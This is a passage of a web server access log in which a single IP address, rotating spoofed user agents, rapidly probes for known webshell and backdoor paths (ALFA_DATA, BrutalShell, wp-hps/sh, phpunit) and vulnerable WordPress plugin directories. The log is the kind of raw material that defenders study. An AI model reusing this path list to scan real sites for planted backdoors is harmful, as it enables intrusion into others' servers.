98.159.43.135 - - [21/Feb/2026:16:42:27 +0300] "GET /mm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 98.159.43.135 - - [21/Feb/2026:16:42:27 +0300] "GET /cgi-bin/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:27 +0300] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 98.159.43.135 - - [21/Feb/2026:16:42:27 +0300] "GET /server.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:28 +0300] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 98.159.43.135 - - [21/Feb/2026:16:42:28 +0300] "GET /mailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:42:28 +0300] "GET /www.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:28 +0300] "GET /css/wp-casper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:42:28 +0300] "GET /cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:29 +0300] "GET /assets/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:29 +0300] "GET /wp-content/plugins/wp-doft/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 98.159.43.135 - - [21/Feb/2026:16:42:29 +0300] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:29 +0300] "GET /shop.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:30 +0300] "GET /ioxi001.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:30 +0300] "GET /.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:42:30 +0300] "GET /.well-known/pki-validation/ HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:30 +0300] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:30 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 98.159.43.135 - - [21/Feb/2026:16:42:31 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:31 +0300] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:31 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:42:31 +0300] "GET /wordpress/wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:31 +0300] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:42:32 +0300] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:42:32 +0300] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:32 +0300] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 98.159.43.135 - - [21/Feb/2026:16:42:32 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:33 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 98.159.43.135 - - [21/Feb/2026:16:42:33 +0300] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:42:33 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:33 +0300] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:33 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 98.159.43.135 - - [21/Feb/2026:16:42:34 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:34 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 98.159.43.135 - - [21/Feb/2026:16:42:34 +0300] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:34 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:42:35 +0300] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:35 +0300] "GET /wp-content/uploads/ao_ccss/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:35 +0300] "GET /wp-content/uploads/2021/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:42:35 +0300] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:42:35 +0300] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:36 +0300] "GET /upload/image/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:36 +0300] "GET /wordpress/wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:36 +0300] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:36 +0300] "GET /blog/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:37 +0300] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:42:37 +0300] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:42:37 +0300] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:37 +0300] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:38 +0300] "GET /admin/tmp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:38 +0300] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:38 +0300] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:38 +0300] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:38 +0300] "GET /administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:42:39 +0300] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:39 +0300] "GET /assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:39 +0300] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:39 +0300] "GET /components/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:42:39 +0300] "GET /home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:40 +0300] "GET /include/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:40 +0300] "GET /modules/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:40 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:40 +0300] "GET /mt/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:40 +0300] "GET /site/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 98.159.43.135 - - [21/Feb/2026:16:42:41 +0300] "GET /tmps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:41 +0300] "GET /wordpress/wp-admin/includes/wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:42:41 +0300] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 98.159.43.135 - - [21/Feb/2026:16:42:41 +0300] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:42 +0300] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:42 +0300] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:42 +0300] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:42 +0300] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:42:42 +0300] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:43 +0300] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:43 +0300] "GET /wp-content/uploads/2022/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:42:43 +0300] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:42:43 +0300] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 98.159.43.135 - - [21/Feb/2026:16:42:44 +0300] "GET /wp-includes/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:42:44 +0300] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 98.159.43.135 - - [21/Feb/2026:16:42:44 +0300] "GET /wp-includes/ID3/wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:44 +0300] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 98.159.43.135 - - [21/Feb/2026:16:42:44 +0300] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:42:45 +0300] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 98.159.43.135 - - [21/Feb/2026:16:42:45 +0300] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:45 +0300] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:45 +0300] "GET /wp-includes/js/plupload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:45 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:46 +0300] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:46 +0300] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:42:46 +0300] "GET /cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:42:46 +0300] "GET /cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:42:46 +0300] "GET /cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 98.159.43.135 - - [21/Feb/2026:16:42:47 +0300] "GET /ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:47 +0300] "GET /wp-content/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:42:47 +0300] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:42:47 +0300] "GET /wp-content/plugins/aryabot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:42:47 +0300] "GET /wp-content/plugins/BrutalShell/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 98.159.43.135 - - [21/Feb/2026:16:42:48 +0300] "GET /wp-content/plugins/cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:48 +0300] "GET /wp-content/plugins/cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:42:48 +0300] "GET /wp-content/plugins/cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 98.159.43.135 - - [21/Feb/2026:16:42:48 +0300] "GET /wp-content/plugins/db/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 98.159.43.135 - - [21/Feb/2026:16:42:49 +0300] "GET /wp-content/plugins/home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:49 +0300] "GET /wp-content/plugins/limit/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:49 +0300] "GET /wp-content/plugins/owfsmac/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 98.159.43.135 - - [21/Feb/2026:16:42:49 +0300] "GET /wp-content/plugins/prenota/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:49 +0300] "GET /wp-content/plugins/random/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:42:50 +0300] "GET /wp-content/plugins/ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:42:50 +0300] "GET /wp-content/plugins/Uwogh-Segs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 98.159.43.135 - - [21/Feb/2026:16:42:50 +0300] "GET /wp-content/plugins/wp-diambar/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:50 +0300] "GET /wp-content/plugins/wp-freeform/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:50 +0300] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:51 +0300] "GET /wp-content/plugins/wpeazvp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 98.159.43.135 - - [21/Feb/2026:16:42:51 +0300] "GET /wp-content/plugins/zaen/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; 